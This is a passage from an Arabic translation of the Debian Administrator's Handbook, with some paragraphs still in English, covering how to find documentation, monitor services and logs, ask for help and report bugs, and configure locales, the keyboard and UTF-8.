عندما تحتوي معايير البحث أيضاً على علاقات بين الحزم أو بيانات فوقية أخرى مثل اسم المشرف عليها، سيكون synaptic أكثر فائدة؛

عند الحاجة إلى بحث مبني على أساس الوسوم، فإن packagesearch أداة جيدة لهذا الغرض، وهي واجهة رسومية مخصصة للبحث ضمن الحزم المتوفرة اعتماداً على عدة معايير (بما فيها أسماء الملفات التي تحويها). أما إذا أردت البحث من سطر الأوامر، فعليك باستخدام axi-cache.

أخيراً، عندما يحوي البحث تعابير معقدة وعمليات منطقية، سيكون نظام aptitude للبحث عن النماذج الأداة المثلى لذلك، فهو قوي فعلاً بغض النظر عن غموضه نوعاً ما؛ وهو يعمل في النمطين النصي والتفاعلي.

فصل 7. حل المشكلات والعثور على المعلومات

إن أهم مهارة بالنسبة لمدير النظام، هي القدرة على التعامل مع أي وضع، معروف أو مجهول. يقدم هذا الفصل عدة طرق —نأمل أن— تساعدك على عزل سبب أية مشكلة تواجهك، حتى تتمكن من حلها.

7.1. مصادر الوثائق

قبل أن تفهم ما يحدث فعلاً عندما تواجهك مشكلة، عليك معرفة الدور النظري لكل برنامج له علاقة بالمشكلة. أفضل طريقة لذلك هي استشارة توثيق تلك البرامج؛ وبما أن هذه الوثائق كثيرة وقد تكون مبعثرة جدًا، يجب أن تعرف جميع الأماكن التي يمكن أن تعثر فيها عليها.

7.1.1. صفحات الدليل

ثقافة RTFM

هذا الاختصار يعني ”اقرأ الدليل اللعين“ — ”Read the F**king Manual“، لكن يمكن نشره وفق معنى أكثر وديّة، ”اقرأ الدليل المفيد“ — ”Read the Fine Manual“. تُستعمَل هذه العبارة أحياناً في الردود (المقتضبة) على أسئلة المبتدئين. هذه الإجابة فظة نوعاً ما، وهي تدل على الضيق من سؤال طرحه شخص لم يزعج نفسه بقراءة الوثائق. بعضهم يقول إن هذه الإجابة الكلاسيكية أفضل من لا شيء (لأنها تخبرك بوجود المعلومات المنشودة في الوثائق)، أو أفضل من جواب مغيظ أكثر إسهابٍ من هذا.

على أية حال، إذا أجابك أحدهم بـ ”RTFM“، فمن الحكمة غالباً ألا تعتبرها إهانة. لكن إذا كنت ستفسر هذه الإجابة على أنها إغاظة، فعليك تجنُّب تلقّيها. إذا لم تكن المعلومات التي تحتاجها موجودة في الدليل، وهذا ممكن، فقد تحتاج توضيح ذلك، والأفضل أن تفعل هذا في سؤالك الأول. عليك أيضاً وصف الخطوات المختلفة التي اتخذتها مسبقاً للعثور على المعلومات قبل طرحك السؤال في المنتدى. يمكنك أن تتبع توصيات إريك ريموند لتفادي أكثر الأخطاء شيوعاً والحصول على إجابات مفيدة.

→ http://catb.org/~esr/faqs/smart-questions.html

Manual pages, while relatively terse in style, contain a great deal of essential information. We will quickly go over the command for viewing them, provided by the man-db package. Simply type man manual-page — the manual page usually goes by the same name as the command whose documentation is sought. For example, to learn about the possible options for the cp command, you would type the man cp command at the shell prompt (see sidebar أساسيات الصدَفَة، مفسر سطر الأوامر).

أساسيات الصدَفَة، مفسر سطر الأوامر

مفسِّر سطر الأوامر، الذي يعرف باسم ”الصَدَفَة – shell“، هو برنامج ينفّذ الأوامر التي يُدخِلها المستخدم أو المخزَّنة في سكربت. في الوضع التفاعلي، يعرض إشارة (محث prompt، تنتهي عادة بالرمز $ بالنسبة للمستخدم العادي، أو # بالنسبة لمدير النظام) تبيّن جاهزيته لقراءة أمر جديد. ملحق B, دورة تذكيرية قصيرة يصف أساسيات استخدام الصدفة.

الصدفة الافتراضية والأكثر شيوعاً هي bash (Bourne Again SHell)، لكن يوجد غيرها، منها dash ،csh ،tcsh و zsh.

Among other things, most shells offer help (type help) and assistance during input at the prompt, such as the completion of command or file names (which you can generally activate by pressing the tab key), or recalling previous commands (history management; i.e. check out the mappings for "page up" and "page down" in /etc/inputrc).

Man pages not only document commands and programs accessible from the command line, but also configuration files, system calls, library functions, and so forth. Sometimes names can collide. For example, the shell's read command has the same name as the read system call. This is why manual pages are organized in numbered sections:

1

أوامر يمكن تنفيذها من سطر الأوامر؛

2

نداءات النظام (دوال توفرها النواة)؛

3

دوال مكتبات (توفرها مكتبات النظام)؛

4

أجهزة (في نظم التشغيل المشابهة لنظام يونكس تكون الأجهزة ملفات خاصة، موجودة عادة في مجلد /dev/)؛

5

ملفات إعداد (صيغ الملفات والعادات المتبعة)؛

6

ألعاب؛

7

مجموعات معايير وماكروات؛

8

أوامر إدارة النظام؛

9

روتينات النواة.

من الممكن تحديد قسم صفحة الدليل التي تبحث عنها: لعرض وثائق نداء النظام read، سوف نكتب man 2 read. عند عدم تحديد أي قسم صراحة، سيُعرَض أول قسم يحوي صفحة للاسم المطلوب. بالتالي، الأمر man shadow يعرض shadow(5)‎ لعدم وجود صفحات للاسم shadow في الأقسام من 1 إلى 4.

تلميح whatis

إذا لم ترغب بالنظر في صفحة الدليل كاملة، بل في مختصراتها للتحقق من وجود ما تبحث عنه فيها، ببساطة استعمل whatis command.

$ whatis scp scp (1) - secure copy (remote file copy program)

هذا الوصف المختصر مضمّن في قسم NAME في بداية كل صفحة من الدليل.

بالطبع، لن يفيدك الدليل كثيراً إذا لم تعلم أسماء الأوامر. هذه وظيفة الأمر apropos، الذي يساعدك في البحث في صفحات الدليل، أو بالأحرى في أوصافها المختصرة؛ إذ تبدأ كل صفحة دليل أساساً بملخص من سطر واحد. يعيد الأمر apropos قائمة بصفحات الدليل التي تذكر الكلمات المفتاحية المطلوبة في ملخصها، فإذا كان اختيارك لهذه الكلمات موفقاً، ستجد اسم الأمر الذي تريد.

مثال 7.1. العثور على cp باستخدام apropos

$ apropos "copy file" cp (1) - copy files and directories cpio (1) - copy files to and from archives hpcopy (1) - copy files from an HFS+ volume install (1) - copy files and set attributes ntfscp (8) - copy file to an NTFS volume.

تلميح التصفح بمتابعة الروابط

العديد من صفحات الدليل تحوي قسم ”SEE ALSO“، في نهاية الصفحة عادة، يشير إلى صفحات أخرى لها علاقة بأوامر مشابهة، أو يشير إلى توثيق خارجي. وهكذا يمكنك العثور على وثائق ذات صلة بموضوع البحث حتى لو لم تعثر على مرادك في أول صفحة.

The man command is not the only means of consulting the manual pages, since khelpcenter and konqueror (by KDE) and yelp (under GNOME) programs also offer this possibility. There is also a web interface, provided by the man2html package, which allows you to view manual pages in a web browser. On a computer where this package is installed, use this URL after following the instructions in /usr/share/doc/man2html/README.Debian:

→ http://localhost/cgi-bin/man/man2html

تحتاج هذه الأداة لمُخَدِّم وب. لهذا عليك تثبيت هذه الحزمة على أحد الـمخدمات: حتى يتمكن جميع مستخدمي الشبكة المحلية من الاستفادة من الخدمة (بما فيها الحواسيب التي تستعمل نظم تشغيل غير لينكس)، وهذا سيعفيك من إعداد مخدّم HTTP على كل محطة عمل. إذا كان الوصول للمخدّم من شبكات أخرى ممكناً، فقد ترغب بحصر الوصول لهذه الخدمة بمستخدمي الشبكة المحلية فقط.

Last but not least, you can view all manual pages available in Debian (even those that are not installed on your machine) on the manpages.debian.org service. It offers each manual page in multiple versions, one for each Debian release.

→ https://manpages.debian.org

سياسة دبيان صفحات الدليل الإلزامية

تتطلب دبيان أن يكون لكل برنامج صفحة دليل. إذا لم يقدم منبع البرنامج صفحة دليل، فسوف يكتب مشرف حزمة دبيان عادة صفحة دليل مصغرة، توجّه القارئ إلى مكان الوثائق الأصلية على الأقل.

7.1.2. وثائق info

كَتَبَ مشروع غنو (GNU) وثائق معظم برامجه في صيغة info؛ ولهذا تشير العديد من صفحات الدليل إلى وثائق info المقابلة لها. تُقدِّم هذه الصيغة بعض المزايا الإضافية، لكن البرنامج الافتراضي المستخدم لعرض هذه الملفات (اسمه info) أعقد قليلاً. من الاختيارات الجيدة أن تستخدم pinfo بدلاً منه (من الحزمة pinfo).

تتمتع وثائق info بـبنية شجرية، وإذا استدعيت pinfo بدون متغيرات، فسوف يعرض قائمة بالعقد المتوفرة في المستوى الأول. عادة ما تحمل العقد اسم الأوامر المرتبطة بها.

With pinfo navigating between these nodes is easy to achieve with the arrow keys. Alternatively, you could also use a graphical browser, which is a lot more user-friendly. Again, konqueror and yelp work; the info2www package also provides a web interface.

→ http://localhost/cgi-bin/info2www

لاحظ أن نظام info غير ملائم للترجمة، بعكس نظام صفحات man. بالتالي فإن وثائق info تُكتَب بالإنكليزية دائماً تقريباً. وبالرغم من هذا، عندما تطلب من برنامج pinfo عرض صفحة info غير موجودة، سوف يلجأ إلى صفحة man ذات الاسم نفسه (في حال وجودها)، والتي قد تكون مترجمة.

7.1.3. الوثائق الخاصة

لكل حزمة وثائقها الخاصة. حتى أقل البرامج توثيقًا لها عموماً ملف README يحوي بعض المعلومات المفيدة وأحياناً المهمة. يُثَبَّتُ التوثيق في المجلد /usr/share/doc/package/ (حيث يمثل package اسم الحزمة). إذا كان التوثيق كبيراً على وجه الخصوص، فقد لا يرفق ضمن حزمة البرنامج الرئيسة، بل يمكن أن ينقل إلى حزمة مخصصة تُسمَّى عادة package-doc. ”توصي“ (recommend) الحزمة الرئيسة عموماً بثبيت حزمة التوثيق حتى تستطيع العثور عليها بسهولة.

The /usr/share/doc/package/ directory also contains some files provided by Debian which complete the documentation by specifying the package's particularities or improvements compared to a traditional installation of the software. The README.Debian file also indicates all of the adaptations that were made to comply with the Debian Policy. The changelog.Debian.gz file allows the user to follow the modifications made to the package over time: it is very useful to try to understand what has changed between two installed versions that do not have the same behavior. Finally, there is sometimes a NEWS.Debian.gz file which documents the major changes in the program that may directly concern the administrator (see قسم 6.7.2, “حل المشاكل بعد التحديث”).

7.1.4. مواقع الوب

في معظم الحالات، هناك مواقع وب للبرمجيات الحرة تستخدم لتوزيعها ولتوحيد مجتمع مطوريها ومستخدميها. تُحمَّل هذه المواقع دورياً بمعلومات ذات صلة بأشكال مختلفة: توثيق رسمي، FAQ (الأسئلة الشائعة – Frequently Asked Questions)، أرشيفات القوائم البريدية، الخ. غالباً ما تكون المشكلة التي تواجهها مطروحة في العديد من الأسئلة السابقة؛ وقد تجد الحل في صفحات FAQ أو أرشيفات القوائم البريدية. إن مهارة استخدام محركات البحث بشكل جيد لا تقدر بثمن عند البحث عن الصفحات ذات الصلة بسرعة (بتقييد البحث بنطاق الموقع أو النطاق الفرعي المخصص للبرنامج). إذا أعاد البحث صفحات كثيرة جداً أو كانت النتائج لا تطابق ما تبحث عنه، يمكنك إضافة الكلمة المفتاحية debian لتحديد النتائج واستهداف المعلومات المطلوبة.

TIP From error to solution

إذا أعطت البرمجية رسالة خطأ محددة جداً، أدخلها في محرك البحث كما هي (بين علامتي تنصيص (") وذلك للبحث عن العبارة كاملة، وليس الكلمات المفتاحية المفردة). في معظم الحالات، سيحتوي الرابط الأول من نتائج البحث على الإجابة التي تحتاج.

في حالات أخرى، تعطيك البرمجية رسائل خطأ عامة، مثل ”Permission denied“. في هذه الحالة، من الأفضل التحقق من صلاحيات العناصر المرتبطة بالأمر (ملفات، أسماء مستخدمين، مجموعات، إلخ).

If you do not know the address for the software's website, there are various means of getting it. First, check if there is a Homepage field in the package's meta-information (apt show package). Alternately, the package description may contain a link to the program's official website. If no URL is indicated, look at /usr/share/doc/package/copyright. The Debian maintainer generally indicates in this file where they got the program's source code, and this is likely to be the website that you need to find. If at this stage your search is still unfruitful, consult a free software directory, such as FSF's Free Software Directory, or search directly with a search engine, such as Google, DuckDuckGo, Yahoo, etc.

→ https://directory.fsf.org/wiki/Main_Page

You might also want to check the Debian wiki, a collaborative website where anybody, even simple visitors, can make suggestions directly from their browsers. It is used equally by developers who design and specify their projects, and by users who share their knowledge by writing documents collaboratively.

→ https://wiki.debian.org/

7.1.5. الدروس (HOWTO)

A HOWTO is a document that describes, in concrete terms and step by step, “how to” reach a predefined goal. The covered goals are relatively varied, but often technical in nature: for example, setting up IP Masquerading, configuring software RAID, installing a Samba server, etc. These documents often attempt to cover all of the potential problems likely to occur during the implementation of a given technology.

Many such tutorials are managed by the Linux Documentation Project (LDP), whose website hosts all of these documents:

→ https://www.tldp.org/

Debian also provides tutorials for its users:

→ https://www.debian.org/doc/

All these documents should be taken with a grain of salt. They are often several years old; the information they contain is sometimes obsolete. This phenomenon is even more frequent for their translations, since updates are neither systematic nor instant after the publication of a new version of the original documents. Further many tutorials nowadays are provided by bloggers, sharing their individual solution with the interested reader. They often lack important information, i.e. the reason why some configuration has been chosen over another, or why some option has been enabled or disabled. Because blogging and creating own websites made it so easy to share, many of these often short tutorials exist, but only a few are actively maintained and well-kept. This can make it hard, to find the "right" one for you. This is all part of the joys of working in a volunteer environment and without constraints…

7.2. إجراءات شائعة

إن الهدف من هذا القسم هو تقديم بعض النصائح العامة لبعض العمليات التي يحتاج مدير النظام تنفيذها بشكل متكرر. لا يمكن أن تغطي هذه الإجراءات جميع الحالات الممكنة بالتفصيل، لكنها ستخدمك كنقطة انطلاق للحالات الصعبة جدًا.

استكشاف الوثائق بلغات أخرى

غالبًا ما تتوفر الوثائق المترجمة إلى لغات غير الإنكليزية في حزمة منفصلة لها نفس اسم الحزمة المرتبطة بها، متبوعًا باللاحقة -lang (حيث lang هو رمز ISO الخاص باللغة وهو مكون من حرفين).

For instance, the debian-reference-fr package is the French version of the reference guides for Debian (initially written in English by Osamu Aoki), and the manpages-de package contains the German version of the manual pages about using GNU/Linux.

7.2.1. إعداد البرامج

عندما ترغب بإعداد حزمة مجهولة، عليك العمل في مراحل. أولاً، عليك قراءة ما وثَّقَه المشرف على صيانة الحزمة. سوف تساعدك قراءة الملف /usr/share/doc/package/README.Debian في التعرف على التغييرات الخاصة التي أضيفت لتبسيط استخدام البرنامج. هذه المعلومات أساسية أحياناً لفهم الاختلاف عن سلوك البرنامج الأصلي الذي يوصف في الوثائق العامة، مثل دروس howto أو غيرها. أحياناً يُفصِّل هذا الملف أيضاً الأخطاء الأكثر شيوعاً حتى تتفادى إضاعة وقتك في حل المشاكل الشائعة.

بعدها، عليك النظر في وثائق البرنامج الرسمية – وقد تحدثنا في قسم 7.1, “مصادر الوثائق” عن المصادر العديدة المتوفرة للحصول على الوثائق. يعطي الأمر dpkg -L package قائمة بالملفات المضمنة في الحزمة؛ وهو ما يساعدك على التعرف سريعاً على الوثائق المتوفرة (بالإضافة إلى ملفات الإعداد، الموجودة في /etc/). كما يعطي الأمر dpkg -s package البيانات الفوقية للحزمة ويُظهِر أية حزم توصي بها أو تقترحها؛ حيث تحتوي تلك الحزم على وثائق أو أدوات تسهّل إعداد البرمجية.

أخيراً، غالباً ما تكون ملفات الإعداد موثقة بنفسها من خلال العديد من التعليقات التوضيحية التي تفصّل القيم المختلفة التي يمكن إسنادها لكل متغيّر. أحياناً تكون التعليقات كثيرة لدرجة أنه يكفي اختيار سطر من بين السطور المتوفرة في التعليقات وتفعيله فقط. في بعض الحالات، تُقدَّم أمثلة عن ملفات الإعداد في المجلد /usr/share/doc/package/examples/. قد تخدمك هذه الأمثلة كأساس تبني عليه ملفات الإعداد التي تناسبك.

سياسة دبيان مكان الأمثلة

يجب تثبيت جميع الأمثلة في المجلد /usr/share/doc/package/examples/. قد تكون هذه الأمثلة ملفات إعداد، أو شفرة مصدرية لبرنامج (مثال عن استخدام مكتبة)، أو سكربت لتحويل البيانات يمكن أن يستخدمه مدير النظام في حالات معينة (مثل تهيئة قاعدة بيانات). إذا كان المثال مخصصاً لمعمارية معينة، فيجب تثبيته في /usr/lib/package/examples/ ويجب وجود رابط يشير إلى ذلك الملف من مجلد /usr/share/doc/package/examples/.

7.2.2. مراقبة الخدمات

فهم ما تفعله إحدى الخدمات معقدٌ نوعاً ما، ذلك لأنها لا تتفاعل مباشرة مع مدير النظام. للتحقق من أن إحدى الخدمات تعمل فعلاً، عليك اختبارها. مثلاً، للتحقق من خدمة أباتشي (مخدم الوب)، اختبرها بتفيذ طلب HTTP.

أساسيات الخدمة

الخدمة (daemon) هي برنامج لا يستدعيه المستخدم صراحة ويبقى في الخلفية، ينتظر تحقق شرط خاص لتنفيذ مهمة معينة. معظم البرامج الخدمية تعمل بشكل daemons، وهذا المصطلح يفسر وجود الحرف ”d“ كثيراً في نهايات أسمائها (sshd ،smtpd ،httpd، الخ).

للمساعدة في إجراء مثل هذه الاختبارات، تُسَجِّلُ كل خدمة عادة كل ما تفعله، بالإضافة إلى أية أخطاء تواجهها، في ما يسمى ”بالسجلات – log files“ أو ”سجلات النظام – system logs“. تُخزَّن السجلات في المجلد /var/log/ أو أحد مجلداته الفرعية. لمعرفة الاسم الدقيق لسجل الخدمة ابحث في وثائقها. لاحظ أن إجراء اختبار واحد لا يكفي ما لم يغطي جميع حالات الاستخدام الممكنة؛ فبعض المشاكل تبرز فقط في ظروف معينة.

أدوات خدمة rsyslogd

rsyslogd is special: it collects logs (internal system messages) that are sent to it by other programs. Each log entry is associated with a subsystem (e-mail, kernel, authentication, etc.) and a priority; rsyslogd processes these two pieces of information to decide on what to do. The log message may be recorded in various log files, and/or sent to an administration console. The details are defined in the /etc/rsyslog.conf configuration file (documented in the manual page of the same name provided in the rsyslog-doc package).

Certain C functions, which are specialized in sending logs, simplify the use of the rsyslogd daemon. However some daemons manage their own log files (this is the case, for example, of samba, which implements Windows shares on Linux).

لاحظ أنه عند استخدام systemd، فإن systemd يجمع السجلات عملياً قبل تسليمها إلى rsyslogd. ولهذا يمكن الوصول للسجلات أيضاً عبر سجل systemd الخاص ويمكن الوصول لها باستخدام journalctl (انظر قسم 9.1.1, “نظام إقلاع systemd” لمزيد من التفاصيل).

As a preventive operation, the administrator should regularly read the most relevant server logs. They can thus diagnose problems before they are even reported by disgruntled users. Indeed users may sometimes wait for a problem to occur repeatedly over several days before reporting it. In many cases, there are specific tools to analyze the contents of the larger log files. In particular, such utilities exist for web servers (such as analog, awstats, webalizer for Apache), for FTP servers, for proxy/cache servers, for firewalls, for e-mail servers, for DNS servers, and even for print servers. Other tools, such as logcheck (a software discussed in فصل 14, الأمن), scan these files in search of alerts to be dealt with.

7.2.3. طلب المساعدة على القوائم البريدية

If your various searches haven't helped you to get to the root of a problem, it is possible to get help from other, perhaps more experienced people. This is exactly the purpose of the <debian-user@lists.debian.org> mailing list and its language specific siblings <debian-user-lang@lists.debian.org>. As with any community, it has rules that need to be followed. Before asking any question, you should check that your problem isn't already covered by recent discussions on the list or by any official documentation.

→ https://wiki.debian.org/DebianMailingLists

→ https://lists.debian.org/debian-user/

→ https://lists.debian.org/users.html

أساسيات النتيكيت

In general, for all correspondence on e-mail lists, the rules of Netiquette should be followed. This term refers to a set of common sense rules, from common courtesy to mistakes that should be avoided.

→ https://tools.ietf.org/html/rfc1855

بالإضافة لذلك، عليك الالتزام بقانون دبيان للتعاملات عند استخدام أي قناة تواصل تابعة إدارياً لمشروع دبيان:

→ https://www.debian.org/code_of_conduct

Once those two conditions are met, you can think of describing your problem to the mailing list. Include as much relevant information as possible: various tests conducted, documentation consulted, how you attempted to diagnose the problem, the packages concerned or those that may be involved, etc. Check the Debian Bug Tracking System (BTS, described in sidebar قسم 1.3.2.1, “Reporting bugs”) for similar problems, and mention the results of that search, providing links to bugs found. BTS starts on:

→ https://bugs.debian.org/

كلما كنت مهذباً ودقيقاً أكثر، كلما ارتفعت فرص حصولك على إجابة، أو على الأقل، على بعض بوادر الاستجابة. إذا تلقيت معلومات ذات صلة برسالة إلكترونية خاصة، خذ بعين الاعتبار تلخيص هذه المعلومات علناً حتى يستفيد منها الآخرون. كما أن هذا يسمح لأرشيفات القائمة –التي تُفهرسها محركات البحث المختلفة– بإظهار الحل للآخرين الذين يواجهون نفس المشكلة.

7.2.4. التبليغ عن علة عندما تكون المشكلة صعبة جداً

إذا فشلت جميع مساعيك لحل مشكلة ما، فمن الممكن أن حلها ليس مسؤوليتك، وأن المشكلة ناجمة عن علّة في البرنامج. في هذه الحالة، الإجراء المناسب هو التبليغ عن العلة إلى دبيان أو مباشرة إلى المطور المنبعي. لعمل ذلك، اعزل المشكلة قدر المستطاع وأنشئ حالة اختبار مصغرة تظهر المشكلة فيها. إذا كنت تعرف أي برنامج هو السبب الواضح للمشكلة، يمكنك العثور على حزمته باستخدام الأمر dpkg -S file_in_question. تحقق من نظام تتبع العلل (https://bugs.debian.org/package) للتأكد أن العلة لم يبلغ عنها سابقاً. يمكنك عندها إرسال تقرير بالعلة، باستخدام الأمر reportbug، مع ذكر أكبر كمية من المعلومات، خصوصاً الوصف الكامل لحالات الاختبار المصغرة السابقة حتى يستطيع أي شخص إعادة توليد العلة.

عناصر هذا الفصل هي وسائل فعالة لحل المشاكل التي قد تثيرها الفصول اللاحقة. استخدمها كلما دعت الحاجة!

فصل 8. الإعدادات الأساسية: الشبكة، الحسابات، الطباعة...

يفترض أن تكون جاهزية الحاسوب بعد عملية تثبيت جديدة باستخدام debian-installer أفضل ما يمكن، لكن لا يزال هناك خدمات عديدة يجب ضبطها. بالإضافة لذلك، من المفيد دوماً معرفة طريقة تغيير بعض عناصر الضبط التي تُحدَّد أثناء عملية التثبيت الأولية.

هذا الفصل يراجع كل ما يمكن أن ندعوه ”بالإعدادات الأساسية“: الشبكة، اللغة والإعدادات الإقليمية، المستخدمين والمجموعات، الطباعة، نقاط الربط (mount points)، الخ.

8.1. تعريب النظام

إذا اخترت تثبيت النظام باللغة العربية، فالأغلب أن اللغة العريبة قد أصبحت الافتراضية على الجهاز بالفعل. لكن من المفيد معرفة ما يفعله المثبّت لضبط اللغة، حتى تتمكن من تغييرها لاحقاً إذا دعت الحاجة.

أدوات الأمر locale لعرض الإعدادات الحالية

يعرض الأمر locale ملخصاً عن الإعدادات الحالية للبارامترات المحلية المتنوعة (صيغة التاريخ، صيغة الأرقام، الخ)، بشكل مجموعة من متغيرات البيئة القياسية المخصصة لتعديل هذه البارامترات ديناميكياً.

8.1.1. ضبط اللغة الافتراضية

تشير كلمة locale إلى مجموعة من الإعدادات الإقليمية. لا تقتصر هذه المجموعة على لغة النص فقط، بل تشمل أيضاً صيغة عرض الأرقام، والتاريخ، والساعة، والمبالغ المالية، بالإضافة إلى قواعد المقارنة الأبجدية (لمعاملة الحروف ذات الحركات – é مثلاً – بشكل صحيح). رغم أنه يمكن تحديد كل من هذه البارامترات بشكل منفصل، إلا أننا نستخدم locale عموماً، وهي مجموعة متناسقة من القيم التي تعطى لهذه البارامترات بحيث توافق ”إقليماً“ ما بشكل عام. تحدد هذه locales عادة بالصيغة language-code_COUNTRY-CODE، وأحياناً تتبعها لاحقة تحدد مجموعة المحارف أو الترميز المستخدم. هذا يسمح بأخذ الاختلافات الاصطلاحية أو الطباعية بين الأقاليم المختلفة التي تتحدث اللغة نفسها بعين الاعتبار.

ثقافة مجموعة المحارف

تاريخياً، كان لكل locale مجموعة محارف مرتبطة معها (مجموعة المحارف المعرّفة) وترميز مفضّل (التمثيل الداخلي للمحارف في الحاسوب).

كانت أشهر الترميزات للغات اللاتينية تقتصر على 256 محرف لأنها تمثل كل محرف ببايت واحد. بما أن 256 محرف لم تكن تكفي لتغطية كل اللغات الأوروبية، ظهرت الحاجة لوضع ترميزات متعددة، وهكذا انتهى بنا الحال مع الترميزات من ISO-8859-1 (الذي يعرف أيضاً باسم ”Latin 1“) وحتى ISO-8859-15 (الذي يدعى أيضاً باسم ”Latin 9“)، بالإضافة لترميزات أخرى.

غالباً ما كان العمل بلغات أجنبية يحتاج للتبديل كثيراً بين الترميزات ومجموعات المحارف المختلفة. بالإضافة لذلك، كانت كتابة المستندات بعدة لغات تؤدي إلى مشاكل أكبر لا تقهر إلا بصعوبة. أنشئ Unicode (جدول كبير لجميع أنظمة الكتابة تقريباً لجميع لغات العالم) للالتفاف حول هذه المشكلة. أحد ترميزات Unicode، ألا وهو UTF-8، يحافظ على جميع رموز ASCII البالغ عددها 128 (رموز طولها 7 بت)، لكنه يعالج المحارف الأخرى بشكل مختلف. تُسبَق تلك المحارف بسلسلة تهريب محددة (escape sequence) تتألف من بضعة بتات، تحدد ضمنياً طول المحرف. هذا يسمح بترميز جميع محارف Unicode بشكل سلسلة من بايت واحد أو أكثر. لقد انتشر استخدامه نتيجة استخدامه كترميز افتراضي في مستندات XML.

يجب استخدام هذا الترميز عموماً، ولذلك فهو الترميز الافتراضي في نظم دبيان.

تتضمن الحزمة locales جميع العناصر اللازمة حتى تعمل "localizations" الخاصة بمختلف التطبيقات بشكل سليم. تطلب هذه الحزمة أثناء تثبيتها تحديد مجموعة اللغات المدعومة. يمكن تغيير هذه المجموعة في أي وقت باستدعاء dpkg-reconfigure locales بصلاحيات الجذر.

يطلب منك السؤال الأول تحديد ”locales“ التي تريد دعمها. تحديد جميع locales العربية (أي التي تكون بدايتها ”ar_“) خيار حكيم. لا تتردد بتفعيل locales أخرى إذا كان الجهاز سيخدم مستخدمين أجانب. تُخزّن قائمة بجميع locales المفعّلة على النظام في الملف /etc/locale.gen. من الممكن تحرير هذا الملف يدوياً، لكن عليك تشغيل locale-gen بعد كل تعديل. سيولد هذا الأمر الملفات الضرورية حتى تعمل locales المضافة، كما يزيل أي ملفات عديمة الفائدة.

السؤال الثاني، الذي يطلب تحديد ”Default locale for the system environment“، يريد منك تعريف locale افتراضية. الخيار المفضل في المغرب هو ”ar_MA.UTF-8“، وفي مصر ”ar_EG.UTF-8“. هناك locale لكل دولة من دول العرب. بعد ذلك سوف يُعدّل الملف /etc/default/locale لتخزين هذا الخيار. من الآن فصاعداً، سوف تُختَار هذه locale لجميع جلسات المستخدمين لأن PAM ستحقن قيمتها في متغير البيئة LANG.

The locales-all package contains the precompiled locale data for all supported locales.

وراء الكواليس /etc/environment و /etc/default/locale

يزود الملف /etc/environment برامج login، و gdm أو حتى ssh بمتغيرات البيئة الصحيحة التي يجب إنشاؤها.

لا تنشئ هذه التطبيقات هذه المتغيرات مباشرة، بل عبر وحدة PAM‏ (pam_env.so). وPAM (اختصار Pluggable Authentication Module) هي مكتبة تجزيئية تجمع آليات المصادقة، وتهيئة الجلسات، وإدارة كلمات السر في مركز واحد. انظر قسم 11.7.3.2, “إعداد PAM” لمثال عن إعداد PAM.

يعمل الملف /etc/default/locale بطريقة مشابهة، لكنه يحوي فقط متغير البيئة LANG. نتيجة هذا التقسيم، يستطيع بعض مستخدمو PAM وراثة بيئة كاملة لكن دون اللغة. وبالفعل إن تشغيل برامج المخدمات مع تفعيل التوطين غير مستحسن؛ من جهة أخرى، التوطين والإعدادات الإقليمية مفضلة في البرامج التي تفتح جلسات المستخدمين.

8.1.2. ضبط لوحة المفاتيح

ولو أن إدارة تخطيط لوحة المفاتيح يختلف بين الوضع النصي والرسومي، إلا أن دبيان توفر واجهة إعداد موحدة تعمل مع الوضعين: تعتمد هذه الواجهة على debconf وهي متاحة في الحزمة keyboard-configuration. إذن يمكن استخدام الأمر dpkg-reconfigure keyboard-configuration في أي وقت لإعادة ضبط تخطيط لوحة المفاتيح.

تتعلق الأسئلة بالتخطيط الفيزيائي للوحة المفاتيح (أغلب لوحات المفاتيح القياسية في الحواسيب الشخصية هي ”Generic 104 key“)، بعدها التخطيط الذي سنختاره (”US“ بشكل عام)، وبعدها موقع مفتاح AltGr (غالباً بدون، أو ربما Alt اليمين). أخيراً يأتي سؤال عن المفتاح الذي سيستخدم كمفتاح ”تجميع“ (compose)، الذي يسمح بإدخال محارف خاصة عبر دمج ضغطات المفاتيح. مثلاً إذا طبعت (تجميع ' e) سوف تحصل على e-acute‏ (”é“). هذه التجميعات محددة في الملف /usr/share/X11/locale/en_US.UTF-8/Compose (أو ملف آخر حسب ما تحدده locale الحالية في /usr/share/X11/locale/compose.dir).

Note that the keyboard configuration for graphical mode described here only affects the default layout; the GNOME and KDE Plasma environments, among others, provide a keyboard control panel in their preferences allowing each user to have their own configuration. Some additional options regarding the behavior of some particular keys are also available in these control panels.

8.1.3. الهجرة إلى UTF-8

لقد كان تعميم ترميز UTF-8 حلاً منتظراً للعديد من الصعوبات التي تعيق العمل المشترك، لأنه يسهّل التبادلات الدولية ويزيل القيود غير المبررة على المحارف التي يمكن استخدامها في المستندات. العائق الوحيد هو أنه يجب أن يمر بمرحلة انتقال صعبة نوعاً ما. خصوصاً أنها لا يمكن أن تكون شفافة بالكامل، أي لا يمكن أن تتم في الوقت نفسه في جميع أنحاء العالم، كما أن هناك عمليتي تحويل مطلوبتين: تحويل محتويات الملفات، وتحويل أسماء الملفات. لحسن الحظ، معظم هذه الهجرة قد انتهى بالفعل، ونحن نناقش العملية هنا لأخذ العلم فقط.

ثقافة موجي-بايك وأخطاء التفسير

عند إرسال نص (أو تخزينه) دون تخزين معلومات عن الترميز، لا يمكن دوماً للمستقبل أن يعرف بدقة أي أسلوب يستخدم لتحديد معاني مجموعات البايتات. يمكنك عادة تكوين فكرة اعتماداً على إحصائيات عن توزيع القيم في النص، لكن ذلك لا يعطي إجابة قاطعة دوماً. عندما يختلف الترميز المستخدم للقراءة عن الترميز الذي استخدم لكتابة الملف، ستفسر البايتات بشكل خاطئ، وستظهر –في أفضل الحالات– بعض المحارف بشكل خاطئ، أو –في أسوأ الحالات– نصاً غير مقروء نهائياً.

بالتالي، إذا ظهر النص الفرنسي بشكل طبيعي عدا بعض الحروف ذات الحركات وبعض الرموز التي يبدو أنها استبدلت بسلسلة من المحارف مثل ”Ã©‎“ أو ”Ã¨‎“ أو ”Ã§‎“ فهذا الملف مشفر غالباً بالترميز UTF-8 لكنه يُفسّر على أنه ISO-8859-1 أو ISO-8859-15. هذه إشارة على أن النظام المحلي لم ينتقل بعد إلى UTF-8. أما إذا رأيت علامات استفهام بدلاً من الحروف ذات الحركات –حتى لو بدا أن علامات الاستفهام هذه تستبدل حرفاً كان يفترض أن يتبع الحرف ذا الحركة– فالغالب أن نظامك يستخدم UTF-8 فعلاً لكنك استقبلت مستنداً رُمِّز باستخدام Western ISO.

